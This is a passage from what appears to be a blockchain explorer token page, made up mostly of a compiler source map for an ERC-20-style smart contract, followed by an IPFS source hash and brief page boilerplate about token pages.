136;:35;:136::i;:::-;12092:8;:216::i;:::-;-1:-1:-1;12326:4:0;11894:444;;;;;:::o;12746:281::-;12891:10;12846:4;12938:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12938:32:0;;;;;;;;;;12846:4;;12868:129;;12916:7;;12938:48;;12975:10;12938:36;:48::i;9778:98::-;9828:13;9861:7;9854:14;;;;;:::i;13529:381::-;13634:4;13656:224;13679:10;13704:7;13726:143;13781:15;13726:143;;;;;;;;;;;;;;;;;13738:10;13726:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;13726:32:0;;;;;;;;;;;:143;:36;:143::i;10635:199::-;10742:4;10764:40;10774:10;10786:9;10797:6;10764:9;:40::i;16949:374::-;-1:-1:-1;;;;;17078:20:0;;17070:69;;;;-1:-1:-1;;;17070:69:0;;5264:2:1;17070:69:0;;;5246:21:1;5303:2;5283:18;;;5276:30;5342:34;5322:18;;;5315:62;-1:-1:-1;;;5393:18:1;;;5386:34;5437:19;;17070:69:0;;;;;;;;;-1:-1:-1;;;;;17158:21:0;;17150:68;;;;-1:-1:-1;;;17150:68:0;;3692:2:1;17150:68:0;;;3674:21:1;3731:2;3711:18;;;3704:30;3770:34;3750:18;;;3743:62;-1:-1:-1;;;3821:18:1;;;3814:32;3863:19;;17150:68:0;3664:224:1;17150:68:0;-1:-1:-1;;;;;17229:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;17282:33;;5613:25:1;;;17282:33:0;;5586:18:1;17282:33:0;;;;;;;16949:374;;;:::o;14400:833::-;-1:-1:-1;;;;;14532:20:0;;14524:70;;;;-1:-1:-1;;;14524:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14613:23:0;;14605:71;;;;-1:-1:-1;;;14605:71:0;;3288:2:1;14605:71:0;;;3270:21:1;3327:2;3307:18;;;3300:30;3366:34;3346:18;;;3339:62;-1:-1:-1;;;3417:18:1;;;3410:33;3460:19;;14605:71:0;3260:225:1;14605:71:0;-1:-1:-1;;;;;14709:17:0;;14687:19;14709:17;;;:9;:17;;;;;;14737:20;14719:6;14737:12;:20::i;:::-;14805:6;14790:11;:21;;14768:109;;;;-1:-1:-1;;;14768:109:0;;4451:2:1;14768:109:0;;;4433:21:1;4490:2;4470:18;;;4463:30;4529:34;4509:18;;;4502:62;-1:-1:-1;;;4580:18:1;;;4573:36;4626:19;;14768:109:0;4423:228:1;14768:109:0;-1:-1:-1;;;;;14913:17:0;;;;;;;:9;:17;;;;;;14933:20;;;14913:40;;15133:20;;;;;;;;;;:30;;;;;;15190:35;;;;;;14947:6;5613:25:1;;5601:2;5586:18;;5568:76;15190:35:0;;;;;;;;14400:833;;;;:::o;4884:224::-;5004:7;5040:12;5032:6;;;;5024:29;;;;-1:-1:-1;;;5024:29:0;;;;;;;;:::i;:::-;-1:-1:-1;5064:9:0;5076:5;5080:1;5076;:5;:::i;:::-;5064:17;4884:224;-1:-1:-1;;;;;4884:224:0:o;3999:179::-;4057:7;;4089:5;4093:1;4089;:5;:::i;:::-;4077:17;;4118:1;4113;:6;;4105:46;;;;-1:-1:-1;;;4105:46:0;;4095:2:1;4105:46:0;;;4077:21:1;4134:2;4114:18;;;4107:30;4173:29;4153:18;;;4146:57;4220:18;;4105:46:0;4067:177:1;4105:46:0;4169:1;3999:179;-1:-1:-1;;;3999:179:0:o;15241:400::-;9176:9;:16;;-1:-1:-1;;;;9176:16:0;-1:-1:-1;;;9176:16:0;;;-1:-1:-1;;;;;15316:20:0;::::1;15308:70;;;;-1:-1:-1::0;;;15308:70:0::1;;;;;;;:::i;:::-;15425:8;::::0;:74:::1;::::0;-1:-1:-1;;;15425:74:0;;-1:-1:-1;;;;;2207:15:1;;;15425:74:0::1;::::0;::::1;2189:34:1::0;15483:4:0::1;2239:18:1::0;;;2232:43;15390:7:0::1;::::0;;;;;15425:8;;::::1;::::0;:14:::1;::::0;2124:18:1;;15425:74:0::1;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15389:110:::0;;-1:-1:-1;15389:110:0;-1:-1:-1;15389:110:0;-1:-1:-1;;;;;;15514:16:0;::::1;15510:29;;15532:7;;;;;15510:29;15553:7:::0;15549:20:::1;;15562:7;;;;;15549:20;15583:2;15579:55;;;15602:20;15611:2;15615;15619;15602:8;:20::i;:::-;9203:1;;;;-1:-1:-1::0;9215:9:0;:17;;-1:-1:-1;;;;9215:17:0;;;15241:400::o;16315:196::-;16425:4;16420:18;;16431:7;;16420:18;-1:-1:-1;;;;;16452:15:0;;16448:28;;16469:7;;16448:28;-1:-1:-1;;;;;16486:12:0;;;;;;:9;:12;;;;;:17;;;16315:196;;;;:::o;14:257:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:398::-;;;405:2;393:9;384:7;380:23;376:32;373:2;;;426:6;418;411:22;373:2;470:9;457:23;489:31;514:5;489:31;:::i;:::-;539:5;-1:-1:-1;596:2:1;581:18;;568:32;609:33;568:32;609:33;:::i;:::-;661:7;651:17;;;363:311;;;;;:::o;679:466::-;;;;825:2;813:9;804:7;800:23;796:32;793:2;;;846:6;838;831:22;793:2;890:9;877:23;909:31;934:5;909:31;:::i;:::-;959:5;-1:-1:-1;1016:2:1;1001:18;;988:32;1029:33;988:32;1029:33;:::i;:::-;783:362;;1081:7;;-1:-1:-1;;;1135:2:1;1120:18;;;;1107:32;;783:362::o;1150:325::-;;;1279:2;1267:9;1258:7;1254:23;1250:32;1247:2;;;1300:6;1292;1285:22;1247:2;1344:9;1331:23;1363:31;1388:5;1363:31;:::i;:::-;1413:5;1465:2;1450:18;;;;1437:32;;-1:-1:-1;;;1237:238:1:o;1480:492::-;;;;1634:2;1622:9;1613:7;1609:23;1605:32;1602:2;;;1655:6;1647;1640:22;1602:2;1692:9;1686:16;1745:5;1738:13;1731:21;1724:5;1721:32;1711:2;;1772:6;1764;1757:22;1711:2;1845;1830:18;;1824:25;1894:2;1879:18;;1873:25;1800:5;;-1:-1:-1;1824:25:1;-1:-1:-1;1907:33:1;1873:25;1907:33;:::i;:::-;1959:7;1949:17;;;1592:380;;;;;:::o;2478:603::-;;2619:2;2648;2637:9;2630:21;2680:6;2674:13;2723:6;2718:2;2707:9;2703:18;2696:34;2748:4;2761:140;2775:6;2772:1;2769:13;2761:140;;;2870:14;;;2866:23;;2860:30;2836:17;;;2855:2;2832:26;2825:66;2790:10;;2761:140;;;2919:6;2916:1;2913:13;2910:2;;;2989:4;2984:2;2975:6;2964:9;2960:22;2956:31;2949:45;2910:2;-1:-1:-1;3065:2:1;3044:15;-1:-1:-1;;3040:29:1;3025:45;;;;3072:2;3021:54;;2599:482;-1:-1:-1;;;2599:482:1:o;4656:401::-;4858:2;4840:21;;;4897:2;4877:18;;;4870:30;4936:34;4931:2;4916:18;;4909:62;-1:-1:-1;;;5002:2:1;4987:18;;4980:35;5047:3;5032:19;;4830:227::o;5838:128::-;;5909:1;5905:6;5902:1;5899:13;5896:2;;;5915:18;;:::i;:::-;-1:-1:-1;5951:9:1;;5886:80::o;5971:125::-;;6039:1;6036;6033:8;6030:2;;;6044:18;;:::i;:::-;-1:-1:-1;6081:9:1;;6020:76::o;6101:380::-;6186:1;6176:12;;6233:1;6223:12;;;6244:2;;6298:4;6290:6;6286:17;6276:27;;6244:2;6351;6343:6;6340:14;6320:18;6317:38;6314:2;;;6397:10;6392:3;6388:20;6385:1;6378:31;6432:4;6429:1;6422:15;6460:4;6457:1;6450:15;6314:2;;6156:325;;;:::o;6486:127::-;6547:10;6542:3;6538:20;6535:1;6528:31;6578:4;6575:1;6568:15;6602:4;6599:1;6592:15;6618:131;-1:-1:-1;;;;;6693:31:1;;6683:42;;6673:2;;6739:1;6736;6729:12;6673:2;6663:86;:::o

Swarm Source

ipfs://893a8029b2c769bc942cb00c517b82dfa5ff92d963a383532a90bc10e67b14b9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.